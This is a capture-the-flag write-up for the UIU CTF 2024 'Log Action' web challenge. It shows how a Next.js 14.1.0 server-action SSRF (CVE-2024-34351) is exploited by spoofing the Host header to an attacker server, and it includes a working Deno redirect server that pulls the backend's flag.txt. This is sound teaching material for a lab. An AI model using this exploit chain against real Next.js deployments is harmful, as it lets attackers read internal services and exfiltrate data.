Log Action

Writeup for Log Action (Web) - UIU CTF (2024) 💜

Description

I keep trying to log in, but it's not working :'(

Recon

The source code is available for download, so I first spun up a local instance of the challenge with docker-compose up.

The homepage redirects to a login form. The password must be at least 10 characters long, but the validation is client-side, so you can send whatever you like with burp. Still, common credentials like admin:admin are rejected with a "something went wrong" error.

It looks like we've got a Next.js application, but rather than digging through the obfuscated JS in the browser, best to review the source code 🔎

Source Code

The backend simply holds a flag.txt file - does a vulnerability class pop into your mind already? 👀

The frontend has quite a bit of code, so I'll highlight some significant parts. First is the auth.ts. Notice that the admin password is randomised for each login attempt 🧐

export const { auth, signIn, signOut } = NextAuth({
    ...authConfig,
    providers: [
        Credentials({
            async authorize(credentials) {
                const parsedCredentials = z
                    .object({ username: z.string(), password: z.string() })
                    .safeParse(credentials);

                if (parsedCredentials.success) {
                    const { username, password } = parsedCredentials.data;
                    // Using a one-time password is more secure
                    if (
                        username === "admin" &&
                        password === randomBytes(16).toString("hex")
                    ) {
                        return {
                            username: "admin",
                        } as User;
                    }
                }
                throw new CredentialsSignin();
            },
        }),
    ],
});

There's an /admin endpoint, although the tsx file does nothing other than display "You logged in as admin."

An auth.config.ts has some logic surrounding the admin authentication.

export const authConfig = {
    pages: {
        signIn: "/login",
    },
    secret: process.env.AUTH_SECRET,
    callbacks: {
        authorized({ auth, request: { nextUrl } }) {
            const isLoggedIn = !!auth?.user;
            const isOnAdminPage = nextUrl.pathname.startsWith("/admin");
            if (isOnAdminPage) {
                if (isLoggedIn) return true;
                return false; // Redirect unauthenticated users to login page
            } else if (isLoggedIn) {
                return Response.redirect(new URL("/admin", nextUrl));
            }
            return true;
        },
    },
    providers: [],
} satisfies NextAuthConfig;

Finally, actions.ts contains some more code relating to the authentication.

export async function authenticate(
    prevState: string | undefined,
    formData: FormData
) {
    let foundError = false;
    try {
        await signIn("credentials", formData);
    } catch (error) {
        if (error instanceof AuthError) {
            foundError = true;
            switch (error.type) {
                case "CredentialsSignin":
                    return "Invalid credentials.";
                default:
                    return "Something went wrong.";
            }
        }
        throw error;
    } finally {
        if (!foundError) {
            redirect("/admin");
        }
    }
}

At this stage, nothing stands out to me as a potential vulnerability. The next step is to check package.json and see if there are any vulnerable dependencies.

"dependencies": {
    "bcrypt": "^5.1.1",
    "next": "14.1.0",
    "next-auth": "^5.0.0-beta.19",
    "react": "^18.3.1",
    "react-dom": "^18.3.1",
    "zod": "^3.23.8"
  }

Can you guess which one I'm going to look into? That's right, the only one with a fixed version; next. All the other libraries are set to use the latest available version, so if one of those had a vulnerability that the challenge authors intended to include, the challenge would break as soon as it's patched.

Solution

I proceeded to Google next 14.1.0 exploit, and one of the first results is from Snyk, highlighting an SSRF vulnerability (CVE-2024-34351) that is present in next versions <14.1.1.

So, the SSRF is patched in the very next release after this one - what a coincidence 😆 Maybe this is the vulnerability class you were thinking about earlier?

SSRF

Assetnote discovered the vulnerability, and they released an excellent blog post detailing the discovery (including PoC), which I highly recommend reading in its entirety.

The first part covers an SSRF vuln in the _next/image component, which is interesting but irrelevant to this challenge. However, the second section focuses on "SSRF in Server Actions" - remember we saw an actions.ts file? 💡

I won't cover server actions or dive into the affected code (read the blog!!). Instead, I'll try to stick to the practical steps (TLDR).

  • If a server action responds with a redirect starting with / (e.g., a redirect to /login), the server will fetch the result of the redirect server side and return it to the client.

  • However, the Host header is taken from the client.

  • Therefore, if we set a host header to an internal host, NextJS will fetch the response from that host instead of the app itself (SSRF).

I checked through the source code again, looking for valid redirects:

  1. redirect("/admin") in actions.ts and auth.config.js, but it's only triggered after a successful login.

  2. redirect("/login") in page.tsx (logout), which looks promising!

action={async () => {
	  "use server";
	  await signOut({ redirect: false });
	  redirect("/login");
}}

Fortunately, we don't need to be logged in to access the /logout endpoint 🙏

Therefore, we can intercept the request and insert our ATTACKER_SERVER domain as the Host and Origin header values. Note that the URL doesn't matter since the Next-Action header value is used to identify the action.

The ATTACKER_SERVER gets a hit ✅

We need to exfiltrate data, so let's follow the remainder of the blog post:

  • Set up a server that takes requests on any path.

  • On any HEAD request, return a 200 with Content-Type: text/x-component.

  • On a GET request, return a 302 to our intended SSRF target.

  • When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request but will follow the redirect on GET, giving us a full read SSRF!

Putting it all together, we modify the supplied PoC.

Deno.serve((request: Request) => {
    console.log(
        "Request received: " +
            JSON.stringify({
                url: request.url,
                method: request.method,
                headers: Array.from(request.headers.entries()),
            })
    );
    // Head - 'Content-Type', 'text/x-component');
    if (request.method === "HEAD") {
        return new Response(null, {
            headers: {
                "Content-Type": "text/x-component",
            },
        });
    }
    // Get - redirect to flag
    if (request.method === "GET") {
        return new Response(null, {
            status: 302,
            headers: {
                Location: "http://backend/flag.txt",
            },
        });
    }
});

So, we will respond to the initial HEAD request with a 200 OK of content-type text/x-component, which triggers a GET request to our server. At this point, we issue a 302 redirect to the flag.txt file on the backend.

That's it - let's serve the PoC using deno.

deno run --allow-net --allow-read main.ts
Listening on http://localhost:8000/

Reissue the request in burp and ensure the requests line up as expected in our server log.

They do, and we receive the fake flag 😊

All that's left is to repeat the exploit against the remote server and receive the real flag 😏

Flag: uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

Last updated